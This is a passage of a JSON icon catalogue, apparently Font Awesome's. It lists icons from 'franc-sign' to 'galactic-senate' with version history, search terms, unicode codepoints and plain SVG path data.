        "path": "M323.1 3H49.9C12.4 3 0 31.3 0 49.1v433.8c0 20.3 12.1 27.7 18.2 30.1 6.2 2.5 22.8 4.6 32.9-7.1C180 356.5 182.2 354 182.2 354c3.1-3.4 3.4-3.1 6.8-3.1h83.4c35.1 0 40.6-25.2 44.3-39.7l48.6-243C373.8 25.8 363.1 3 323.1 3zm-16.3 73.8l-11.4 59.7c-1.2 6.5-9.5 13.2-16.9 13.2H172.1c-12 0-20.6 8.3-20.6 20.3v13c0 12 8.6 20.6 20.6 20.6h90.4c8.3 0 16.6 9.2 14.8 18.2-1.8 8.9-10.5 53.8-11.4 58.8-.9 4.9-6.8 13.5-16.9 13.5h-73.5c-13.5 0-17.2 1.8-26.5 12.6 0 0-8.9 11.4-89.5 108.3-.9.9-1.8.6-1.8-.3V75.9c0-7.7 6.8-16.6 16.6-16.6h219c8.2 0 15.6 7.7 13.5 17.5z"
      }
    },
    "free": ["brands"]
  },
  "franc-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["French Franc Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e18f",
    "label": "Franc Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M80 32C62.3 32 48 46.3 48 64V224v96H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48v64c0 17.7 14.3 32 32 32s32-14.3 32-32V384h80c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V256H256c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V96H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M80 32C62.3 32 48 46.3 48 64V224v96H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48v64c0 17.7 14.3 32 32 32s32-14.3 32-32V384h80c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V256H256c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V96H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z"
      }
    },
    "free": ["solid"]
  },
  "free-code-camp": {
    "changes": ["4.7.0", "5.0.0", "5.12.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2c5",
    "label": "freeCodeCamp",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M97.22,96.21c10.36-10.65,16-17.12,16-21.9,0-2.76-1.92-5.51-3.83-7.42A14.81,14.81,0,0,0,101,64.05c-8.48,0-20.92,8.79-35.84,25.69C23.68,137,2.51,182.81,3.37,250.34s17.47,117,54.06,161.87C76.22,435.86,90.62,448,100.9,448a13.55,13.55,0,0,0,8.37-3.84c1.91-2.76,3.81-5.63,3.81-8.38,0-5.63-3.86-12.2-13.2-20.55-44.45-42.33-67.32-97-67.48-165C32.25,188.8,54,137.83,97.22,96.21ZM239.47,420.07c.58.37.91.55.91.55Zm93.79.55.17-.13C333.24,420.62,333.17,420.67,333.26,420.62Zm3.13-158.18c-16.24-4.15,50.41-82.89-68.05-177.17,0,0,15.54,49.38-62.83,159.57-74.27,104.35,23.46,168.73,34,175.23-6.73-4.35-47.4-35.7,9.55-128.64,11-18.3,25.53-34.87,43.5-72.16,0,0,15.91,22.45,7.6,71.13C287.7,364,354,342.91,355,343.94c22.75,26.78-17.72,73.51-21.58,76.55,5.49-3.65,117.71-78,33-188.1C360.43,238.4,352.62,266.59,336.39,262.44ZM510.88,89.69C496,72.79,483.52,64,475,64a14.81,14.81,0,0,0-8.39,2.84c-1.91,1.91-3.83,4.66-3.83,7.42,0,4.78,5.6,11.26,16,21.9,43.23,41.61,65,92.59,64.82,154.06-.16,68-23,122.63-67.48,165-9.34,8.35-13.18,14.92-13.2,20.55,0,2.75,1.9,5.62,3.81,8.38A13.61,13.61,0,0,0,475.1,448c10.28,0,24.68-12.13,43.47-35.79,36.59-44.85,53.14-94.38,54.06-161.87S552.32,137,510.88,89.69Z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M97.22,96.21c10.36-10.65,16-17.12,16-21.9,0-2.76-1.92-5.51-3.83-7.42A14.81,14.81,0,0,0,101,64.05c-8.48,0-20.92,8.79-35.84,25.69C23.68,137,2.51,182.81,3.37,250.34s17.47,117,54.06,161.87C76.22,435.86,90.62,448,100.9,448a13.55,13.55,0,0,0,8.37-3.84c1.91-2.76,3.81-5.63,3.81-8.38,0-5.63-3.86-12.2-13.2-20.55-44.45-42.33-67.32-97-67.48-165C32.25,188.8,54,137.83,97.22,96.21ZM239.47,420.07c.58.37.91.55.91.55Zm93.79.55.17-.13C333.24,420.62,333.17,420.67,333.26,420.62Zm3.13-158.18c-16.24-4.15,50.41-82.89-68.05-177.17,0,0,15.54,49.38-62.83,159.57-74.27,104.35,23.46,168.73,34,175.23-6.73-4.35-47.4-35.7,9.55-128.64,11-18.3,25.53-34.87,43.5-72.16,0,0,15.91,22.45,7.6,71.13C287.7,364,354,342.91,355,343.94c22.75,26.78-17.72,73.51-21.58,76.55,5.49-3.65,117.71-78,33-188.1C360.43,238.4,352.62,266.59,336.39,262.44ZM510.88,89.69C496,72.79,483.52,64,475,64a14.81,14.81,0,0,0-8.39,2.84c-1.91,1.91-3.83,4.66-3.83,7.42,0,4.78,5.6,11.26,16,21.9,43.23,41.61,65,92.59,64.82,154.06-.16,68-23,122.63-67.48,165-9.34,8.35-13.18,14.92-13.2,20.55,0,2.75,1.9,5.62,3.81,8.38A13.61,13.61,0,0,0,475.1,448c10.28,0,24.68-12.13,43.47-35.79,36.59-44.85,53.14-94.38,54.06-161.87S552.32,137,510.88,89.69Z"
      }
    },
    "free": ["brands"]
  },
  "freebsd": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3a4",
    "label": "FreeBSD",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M303.7 96.2c11.1-11.1 115.5-77 139.2-53.2 23.7 23.7-42.1 128.1-53.2 139.2-11.1 11.1-39.4.9-63.1-22.9-23.8-23.7-34.1-52-22.9-63.1zM109.9 68.1C73.6 47.5 22 24.6 5.6 41.1c-16.6 16.6 7.1 69.4 27.9 105.7 18.5-32.2 44.8-59.3 76.4-78.7zM406.7 174c3.3 11.3 2.7 20.7-2.7 26.1-20.3 20.3-87.5-27-109.3-70.1-18-32.3-11.1-53.4 14.9-48.7 5.7-3.6 12.3-7.6 19.6-11.6-29.8-15.5-63.6-24.3-99.5-24.3-119.1 0-215.6 96.5-215.6 215.6 0 119 96.5 215.6 215.6 215.6S445.3 380.1 445.3 261c0-38.4-10.1-74.5-27.7-105.8-3.9 7-7.6 13.3-10.9 18.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M303.7 96.2c11.1-11.1 115.5-77 139.2-53.2 23.7 23.7-42.1 128.1-53.2 139.2-11.1 11.1-39.4.9-63.1-22.9-23.8-23.7-34.1-52-22.9-63.1zM109.9 68.1C73.6 47.5 22 24.6 5.6 41.1c-16.6 16.6 7.1 69.4 27.9 105.7 18.5-32.2 44.8-59.3 76.4-78.7zM406.7 174c3.3 11.3 2.7 20.7-2.7 26.1-20.3 20.3-87.5-27-109.3-70.1-18-32.3-11.1-53.4 14.9-48.7 5.7-3.6 12.3-7.6 19.6-11.6-29.8-15.5-63.6-24.3-99.5-24.3-119.1 0-215.6 96.5-215.6 215.6 0 119 96.5 215.6 215.6 215.6S445.3 380.1 445.3 261c0-38.4-10.1-74.5-27.7-105.8-3.9 7-7.6 13.3-10.9 18.8z"
      }
    },
    "free": ["brands"]
  },
  "frog": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f52e"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "amphibian",
        "bullfrog",
        "fauna",
        "hop",
        "kermit",
        "kiss",
        "prince",
        "ribbit",
        "toad",
        "wart"
      ]
    },
    "styles": ["solid"],
    "unicode": "f52e",
    "label": "Frog",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M368 32c41.7 0 75.9 31.8 79.7 72.5l85.6 26.3c25.4 7.8 42.8 31.3 42.8 57.9c0 21.8-11.7 41.9-30.7 52.7L400.8 323.5 493.3 416H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H480c-8.5 0-16.6-3.4-22.6-9.4L346.9 360.2c11.7-36 3.2-77.1-25.4-105.7c-40.6-40.6-106.3-40.6-146.9-.1L101 324.4c-6.4 6.1-6.7 16.2-.6 22.6s16.2 6.6 22.6 .6l73.8-70.2 .1-.1 .1-.1c3.5-3.5 7.3-6.6 11.3-9.2c27.9-18.5 65.9-15.4 90.5 9.2c24.7 24.7 27.7 62.9 9 90.9c-2.6 3.8-5.6 7.5-9 10.9L261.8 416H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H64c-35.3 0-64-28.7-64-64C0 249.6 127 112.9 289.3 97.5C296.2 60.2 328.8 32 368 32zm0 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M368 32c41.7 0 75.9 31.8 79.7 72.5l85.6 26.3c25.4 7.8 42.8 31.3 42.8 57.9c0 21.8-11.7 41.9-30.7 52.7L400.8 323.5 493.3 416H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H480c-8.5 0-16.6-3.4-22.6-9.4L346.9 360.2c11.7-36 3.2-77.1-25.4-105.7c-40.6-40.6-106.3-40.6-146.9-.1L101 324.4c-6.4 6.1-6.7 16.2-.6 22.6s16.2 6.6 22.6 .6l73.8-70.2 .1-.1 .1-.1c3.5-3.5 7.3-6.6 11.3-9.2c27.9-18.5 65.9-15.4 90.5 9.2c24.7 24.7 27.7 62.9 9 90.9c-2.6 3.8-5.6 7.5-9 10.9L261.8 416H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H64c-35.3 0-64-28.7-64-64C0 249.6 127 112.9 289.3 97.5C296.2 60.2 328.8 32 368 32zm0 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "fulcrum": {
    "changes": ["5.0.12", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f50b",
    "label": "Fulcrum",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M95.75 164.14l-35.38 43.55L25 164.14l35.38-43.55zM144.23 0l-20.54 198.18L72.72 256l51 57.82L144.23 512V300.89L103.15 256l41.08-44.89zm79.67 164.14l35.38 43.55 35.38-43.55-35.38-43.55zm-48.48 47L216.5 256l-41.08 44.89V512L196 313.82 247 256l-51-57.82L175.42 0z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M95.75 164.14l-35.38 43.55L25 164.14l35.38-43.55zM144.23 0l-20.54 198.18L72.72 256l51 57.82L144.23 512V300.89L103.15 256l41.08-44.89zm79.67 164.14l35.38 43.55 35.38-43.55-35.38-43.55zm-48.48 47L216.5 256l-41.08 44.89V512L196 313.82 247 256l-51-57.82L175.42 0z"
      }
    },
    "free": ["brands"]
  },
  "futbol": {
    "aliases": {
      "names": ["futbol-ball", "soccer-ball"],
      "unicodes": {
        "composite": ["26bd"],
        "secondary": ["10f1e3"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.0.5",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["ball", "football", "mls", "soccer", "soccer ball"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1e3",
    "label": "Futbol",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M417.3 360.1l-71.6-4.8c-5.2-.3-10.3 1.1-14.5 4.2s-7.2 7.4-8.4 12.5l-17.6 69.6C289.5 445.8 273 448 256 448s-33.5-2.2-49.2-6.4L189.2 372c-1.3-5-4.3-9.4-8.4-12.5s-9.3-4.5-14.5-4.2l-71.6 4.8c-17.6-27.2-28.5-59.2-30.4-93.6L125 228.3c4.4-2.8 7.6-7 9.2-11.9s1.4-10.2-.5-15l-26.7-66.6C128 109.2 155.3 89 186.7 76.9l55.2 46c4 3.3 9 5.1 14.1 5.1s10.2-1.8 14.1-5.1l55.2-46c31.3 12.1 58.7 32.3 79.6 57.9l-26.7 66.6c-1.9 4.8-2.1 10.1-.5 15s4.9 9.1 9.2 11.9l60.7 38.2c-1.9 34.4-12.8 66.4-30.4 93.6zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm14.1-325.7c-8.4-6.1-19.8-6.1-28.2 0L194 221c-8.4 6.1-11.9 16.9-8.7 26.8l18.3 56.3c3.2 9.9 12.4 16.6 22.8 16.6h59.2c10.4 0 19.6-6.7 22.8-16.6l18.3-56.3c3.2-9.9-.3-20.7-8.7-26.8l-47.9-34.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M417.3 360.1l-71.6-4.8c-5.2-.3-10.3 1.1-14.5 4.2s-7.2 7.4-8.4 12.5l-17.6 69.6C289.5 445.8 273 448 256 448s-33.5-2.2-49.2-6.4L189.2 372c-1.3-5-4.3-9.4-8.4-12.5s-9.3-4.5-14.5-4.2l-71.6 4.8c-17.6-27.2-28.5-59.2-30.4-93.6L125 228.3c4.4-2.8 7.6-7 9.2-11.9s1.4-10.2-.5-15l-26.7-66.6C128 109.2 155.3 89 186.7 76.9l55.2 46c4 3.3 9 5.1 14.1 5.1s10.2-1.8 14.1-5.1l55.2-46c31.3 12.1 58.7 32.3 79.6 57.9l-26.7 66.6c-1.9 4.8-2.1 10.1-.5 15s4.9 9.1 9.2 11.9l60.7 38.2c-1.9 34.4-12.8 66.4-30.4 93.6zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm14.1-325.7c-8.4-6.1-19.8-6.1-28.2 0L194 221c-8.4 6.1-11.9 16.9-8.7 26.8l18.3 56.3c3.2 9.9 12.4 16.6 22.8 16.6h59.2c10.4 0 19.6-6.7 22.8-16.6l18.3-56.3c3.2-9.9-.3-20.7-8.7-26.8l-47.9-34.8z"
      },
      "regular": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M435.4 361.3l-89.7-6c-5.2-.3-10.3 1.1-14.5 4.2s-7.2 7.4-8.4 12.5l-22 87.2c-14.4 3.2-29.4 4.8-44.8 4.8s-30.3-1.7-44.8-4.8l-22-87.2c-1.3-5-4.3-9.4-8.4-12.5s-9.3-4.5-14.5-4.2l-89.7 6C61.7 335.9 51.9 307 49 276.2L125 228.3c4.4-2.8 7.6-7 9.2-11.9s1.4-10.2-.5-15L100.4 118c19.9-22.4 44.6-40.5 72.4-52.7l69.1 57.6c4 3.3 9 5.1 14.1 5.1s10.2-1.8 14.1-5.1l69.1-57.6c27.8 12.2 52.5 30.3 72.4 52.7l-33.4 83.4c-1.9 4.8-2.1 10.1-.5 15s4.9 9.1 9.2 11.9L463 276.2c-3 30.8-12.7 59.7-27.6 85.1zM256 48l.9 0h-1.8l.9 0zM56.7 196.2c.9-3 1.9-6.1 2.9-9.1l-2.9 9.1zM132 423l3.8 2.7c-1.3-.9-2.5-1.8-3.8-2.7zm248.1-.1c-1.3 1-2.7 2-4 2.9l4-2.9zm75.2-226.6l-3-9.2c1.1 3 2.1 6.1 3 9.2zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm14.1-325.7c-8.4-6.1-19.8-6.1-28.2 0L194 221c-8.4 6.1-11.9 16.9-8.7 26.8l18.3 56.3c3.2 9.9 12.4 16.6 22.8 16.6h59.2c10.4 0 19.6-6.7 22.8-16.6l18.3-56.3c3.2-9.9-.3-20.7-8.7-26.8l-47.9-34.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M435.4 361.3l-89.7-6c-5.2-.3-10.3 1.1-14.5 4.2s-7.2 7.4-8.4 12.5l-22 87.2c-14.4 3.2-29.4 4.8-44.8 4.8s-30.3-1.7-44.8-4.8l-22-87.2c-1.3-5-4.3-9.4-8.4-12.5s-9.3-4.5-14.5-4.2l-89.7 6C61.7 335.9 51.9 307 49 276.2L125 228.3c4.4-2.8 7.6-7 9.2-11.9s1.4-10.2-.5-15L100.4 118c19.9-22.4 44.6-40.5 72.4-52.7l69.1 57.6c4 3.3 9 5.1 14.1 5.1s10.2-1.8 14.1-5.1l69.1-57.6c27.8 12.2 52.5 30.3 72.4 52.7l-33.4 83.4c-1.9 4.8-2.1 10.1-.5 15s4.9 9.1 9.2 11.9L463 276.2c-3 30.8-12.7 59.7-27.6 85.1zM256 48l.9 0h-1.8l.9 0zM56.7 196.2c.9-3 1.9-6.1 2.9-9.1l-2.9 9.1zM132 423l3.8 2.7c-1.3-.9-2.5-1.8-3.8-2.7zm248.1-.1c-1.3 1-2.7 2-4 2.9l4-2.9zm75.2-226.6l-3-9.2c1.1 3 2.1 6.1 3 9.2zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm14.1-325.7c-8.4-6.1-19.8-6.1-28.2 0L194 221c-8.4 6.1-11.9 16.9-8.7 26.8l18.3 56.3c3.2 9.9 12.4 16.6 22.8 16.6h59.2c10.4 0 19.6-6.7 22.8-16.6l18.3-56.3c3.2-9.9-.3-20.7-8.7-26.8l-47.9-34.8z"
      }
    },
    "free": ["regular", "solid"]
  },
  "g": {
    "aliases": {
      "unicodes": {
        "composite": ["67"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter G", "Latin Small Letter G", "letter"]
    },
    "styles": ["solid"],
    "unicode": "47",
    "label": "G",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 96C135.6 96 64 167.6 64 256s71.6 160 160 160c77.4 0 142-55 156.8-128H256c-17.7 0-32-14.3-32-32s14.3-32 32-32H400c25.8 0 49.6 21.4 47.2 50.6C437.8 389.6 341.4 480 224 480C100.3 480 0 379.7 0 256S100.3 32 224 32c57.4 0 109.7 21.6 149.3 57c13.2 11.8 14.3 32 2.5 45.2s-32 14.3-45.2 2.5C302.3 111.4 265 96 224 96z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 96C135.6 96 64 167.6 64 256s71.6 160 160 160c77.4 0 142-55 156.8-128H256c-17.7 0-32-14.3-32-32s14.3-32 32-32H400c25.8 0 49.6 21.4 47.2 50.6C437.8 389.6 341.4 480 224 480C100.3 480 0 379.7 0 256S100.3 32 224 32c57.4 0 109.7 21.6 149.3 57c13.2 11.8 14.3 32 2.5 45.2s-32 14.3-45.2 2.5C302.3 111.4 265 96 224 96z"
      }
    },
    "free": ["solid"]
  },
  "galactic-republic": {
    "changes": ["5.0.12"],
    "ligatures": [],
    "search": {
      "terms": ["politics", "star wars"]
    },
    "styles": ["brands"],
    "unicode": "f50c",
    "label": "Galactic Republic",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 504C111.25 504 0 392.75 0 256S111.25 8 248 8s248 111.25 248 248-111.25 248-248 248zm0-479.47C120.37 24.53 16.53 128.37 16.53 256S120.37 487.47 248 487.47 479.47 383.63 479.47 256 375.63 24.53 248 24.53zm27.62 21.81v24.62a185.933 185.933 0 0 1 83.57 34.54l17.39-17.36c-28.75-22.06-63.3-36.89-100.96-41.8zm-55.37.07c-37.64 4.94-72.16 19.8-100.88 41.85l17.28 17.36h.08c24.07-17.84 52.55-30.06 83.52-34.67V46.41zm12.25 50.17v82.87c-10.04 2.03-19.42 5.94-27.67 11.42l-58.62-58.59-21.93 21.93 58.67 58.67c-5.47 8.23-9.45 17.59-11.47 27.62h-82.9v31h82.9c2.02 10.02 6.01 19.31 11.47 27.54l-58.67 58.69 21.93 21.93 58.62-58.62a77.873 77.873 0 0 0 27.67 11.47v82.9h31v-82.9c10.05-2.03 19.37-6.06 27.62-11.55l58.67 58.69 21.93-21.93-58.67-58.69c5.46-8.23 9.47-17.52 11.5-27.54h82.87v-31h-82.87c-2.02-10.02-6.03-19.38-11.5-27.62l58.67-58.67-21.93-21.93-58.67 58.67c-8.25-5.49-17.57-9.47-27.62-11.5V96.58h-31zm183.24 30.72l-17.36 17.36a186.337 186.337 0 0 1 34.67 83.67h24.62c-4.95-37.69-19.83-72.29-41.93-101.03zm-335.55.13c-22.06 28.72-36.91 63.26-41.85 100.91h24.65c4.6-30.96 16.76-59.45 34.59-83.52l-17.39-17.39zM38.34 283.67c4.92 37.64 19.75 72.18 41.8 100.9l17.36-17.39c-17.81-24.07-29.92-52.57-34.51-83.52H38.34zm394.7 0c-4.61 30.99-16.8 59.5-34.67 83.6l17.36 17.36c22.08-28.74 36.98-63.29 41.93-100.96h-24.62zM136.66 406.38l-17.36 17.36c28.73 22.09 63.3 36.98 100.96 41.93v-24.64c-30.99-4.63-59.53-16.79-83.6-34.65zm222.53.05c-24.09 17.84-52.58 30.08-83.57 34.67v24.57c37.67-4.92 72.21-19.79 100.96-41.85l-17.31-17.39h-.08z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 504C111.25 504 0 392.75 0 256S111.25 8 248 8s248 111.25 248 248-111.25 248-248 248zm0-479.47C120.37 24.53 16.53 128.37 16.53 256S120.37 487.47 248 487.47 479.47 383.63 479.47 256 375.63 24.53 248 24.53zm27.62 21.81v24.62a185.933 185.933 0 0 1 83.57 34.54l17.39-17.36c-28.75-22.06-63.3-36.89-100.96-41.8zm-55.37.07c-37.64 4.94-72.16 19.8-100.88 41.85l17.28 17.36h.08c24.07-17.84 52.55-30.06 83.52-34.67V46.41zm12.25 50.17v82.87c-10.04 2.03-19.42 5.94-27.67 11.42l-58.62-58.59-21.93 21.93 58.67 58.67c-5.47 8.23-9.45 17.59-11.47 27.62h-82.9v31h82.9c2.02 10.02 6.01 19.31 11.47 27.54l-58.67 58.69 21.93 21.93 58.62-58.62a77.873 77.873 0 0 0 27.67 11.47v82.9h31v-82.9c10.05-2.03 19.37-6.06 27.62-11.55l58.67 58.69 21.93-21.93-58.67-58.69c5.46-8.23 9.47-17.52 11.5-27.54h82.87v-31h-82.87c-2.02-10.02-6.03-19.38-11.5-27.62l58.67-58.67-21.93-21.93-58.67 58.67c-8.25-5.49-17.57-9.47-27.62-11.5V96.58h-31zm183.24 30.72l-17.36 17.36a186.337 186.337 0 0 1 34.67 83.67h24.62c-4.95-37.69-19.83-72.29-41.93-101.03zm-335.55.13c-22.06 28.72-36.91 63.26-41.85 100.91h24.65c4.6-30.96 16.76-59.45 34.59-83.52l-17.39-17.39zM38.34 283.67c4.92 37.64 19.75 72.18 41.8 100.9l17.36-17.39c-17.81-24.07-29.92-52.57-34.51-83.52H38.34zm394.7 0c-4.61 30.99-16.8 59.5-34.67 83.6l17.36 17.36c22.08-28.74 36.98-63.29 41.93-100.96h-24.62zM136.66 406.38l-17.36 17.36c28.73 22.09 63.3 36.98 100.96 41.93v-24.64c-30.99-4.63-59.53-16.79-83.6-34.65zm222.53.05c-24.09 17.84-52.58 30.08-83.57 34.67v24.57c37.67-4.92 72.21-19.79 100.96-41.85l-17.31-17.39h-.08z"
      }
    },
    "free": ["brands"]
  },
  "galactic-senate": {
    "changes": ["5.0.12"],
    "ligatures": [],
    "search": {
      "terms": ["star wars"]
    },
    "styles": ["brands"],
    "unicode": "f50d",
    "label": "Galactic Senate",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M249.86 33.48v26.07C236.28 80.17 226 168.14 225.39 274.9c11.74-15.62 19.13-33.33 19.13-48.24v-16.88c-.03-5.32.75-10.53 2.19-15.65.65-2.14 1.39-4.08 2.62-5.82 1.23-1.75 3.43-3.79 6.68-3.79 3.24 0 5.45 2.05 6.68 3.79 1.23 1.75 1.97 3.68 2.62 5.82 1.44 5.12 2.22 10.33 2.19 15.65v16.88c0 14.91 7.39 32.62 19.13 48.24-.63-106.76-10.91-194.73-24.49-215.35V33.48h-12.28zm-26.34 147.77c-9.52 2.15-18.7 5.19-27.46 9.08 8.9 16.12 9.76 32.64 1.71 37.29-8 4.62-21.85-4.23-31.36-19.82-11.58 8.79-21.88 19.32-30.56 31.09 14.73 9.62 22.89 22.92 18.32 30.66-4.54 7.7-20.03 7.14-35.47-.96-5.78 13.25-9.75 27.51-11.65 42.42 9.68.18 18.67 2.38 26.18 6.04 17.78-.3 32.77-1.96 40.49-4.22 5.55-26.35 23.02-48.23 46.32-59.51.73-25.55 1.88-49.67 3.48-72.07zm64.96 0c1.59 22.4 2.75 46.52 3.47 72.07 23.29 11.28 40.77 33.16 46.32 59.51 7.72 2.26 22.71 3.92 40.49 4.22 7.51-3.66 16.5-5.85 26.18-6.04-1.9-14.91-5.86-29.17-11.65-42.42-15.44 8.1-30.93 8.66-35.47.96-4.57-7.74 3.6-21.05 18.32-30.66-8.68-11.77-18.98-22.3-30.56-31.09-9.51 15.59-23.36 24.44-31.36 19.82-8.05-4.65-7.19-21.16 1.71-37.29a147.49 147.49 0 0 0-27.45-9.08zm-32.48 8.6c-3.23 0-5.86 8.81-6.09 19.93h-.05v16.88c0 41.42-49.01 95.04-93.49 95.04-52 0-122.75-1.45-156.37 29.17v2.51c9.42 17.12 20.58 33.17 33.18 47.97C45.7 380.26 84.77 360.4 141.2 360c45.68 1.02 79.03 20.33 90.76 40.87.01.01-.01.04 0 .05 7.67 2.14 15.85 3.23 24.04 3.21 8.19.02 16.37-1.07 24.04-3.21.01-.01-.01-.04 0-.05 11.74-20.54 45.08-39.85 90.76-40.87 56.43.39 95.49 20.26 108.02 41.35 12.6-14.8 23.76-30.86 33.18-47.97v-2.51c-33.61-30.62-104.37-29.17-156.37-29.17-44.48 0-93.49-53.62-93.49-95.04v-16.88h-.05c-.23-11.12-2.86-19.93-6.09-19.93zm0 96.59c22.42 0 40.6 18.18 40.6 40.6s-18.18 40.65-40.6 40.65-40.6-18.23-40.6-40.65c0-22.42 18.18-40.6 40.6-40.6zm0 7.64c-18.19 0-32.96 14.77-32.96 32.96S237.81 360 256 360s32.96-14.77 32.96-32.96-14.77-32.96-32.96-32.96zm0 6.14c14.81 0 26.82 12.01 26.82 26.82s-12.01 26.82-26.82 26.82-26.82-12.01-26.82-26.82 12.01-26.82 26.82-26.82zm-114.8 66.67c-10.19.07-21.6.36-30.5 1.66.43 4.42 1.51 18.63 7.11 29.76 9.11-2.56 18.36-3.9 27.62-3.9 41.28.94 71.48 34.35 78.26 74.47l.11 4.7c10.4 1.91 21.19 2.94 32.21 2.94 11.03 0 21.81-1.02 32.21-2.94l.11-4.7c6.78-40.12 36.98-73.53 78.26-74.47 9.26 0 18.51 1.34 27.62 3.9 5.6-11.13 6.68-25.34 7.11-29.76-8.9-1.3-20.32-1.58-30.5-1.66-18.76.42-35.19 4.17-48.61 9.67-12.54 16.03-29.16 30.03-49.58 33.07-.09.02-.17.04-.27.05-.05.01-.11.04-.16.05-5.24 1.07-10.63 1.6-16.19 1.6-5.55 0-10.95-.53-16.19-1.6-.05-.01-.11-.04-.16-.05-.1-.02-.17-.04-.27-.05-20.42-3.03-37.03-17.04-49.58-33.07-13.42-5.49-29.86-9.25-48.61-9.67z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M249.86 33.48v26.07C236.28 80.17 226 168.14 225.39 274.9c11.74-15.62 19.13-33.33 19.13-48.24v-16.88c-.03-5.32.75-10.53 2.19-15.65.65-2.14 1.39-4.08 2.62-5.82 1.23-1.75 3.43-3.79 6.68-3.79 3.24 0 5.45 2.05 6.68 3.79 1.23 1.75 1.97 3.68 2.62 5.82 1.44 5.12 2.22 10.33 2.19 15.65v16.88c0 14.91 7.39 32.62 19.13 48.24-.63-106.76-10.91-194.73-24.49-215.35V33.48h-12.28zm-26.34 147.77c-9.52 2.15-18.7 5.19-27.46 9.08 8.9 16.12 9.76 32.64 1.71 37.29-8 4.62-21.85-4.23-31.36-19.82-11.58 8.79-21.88 19.32-30.56 31.09 14.73 9.62 22.89 22.92 18.32 30.66-4.54 7.7-20.03 7.14-35.47-.96-5.78 13.25-9.75 27.51-11.65 42.42 9.68.18 18.67 2.38 26.18 6.04 17.78-.3 32.77-1.96 40.49-4.22 5.55-26.35 23.02-48.23 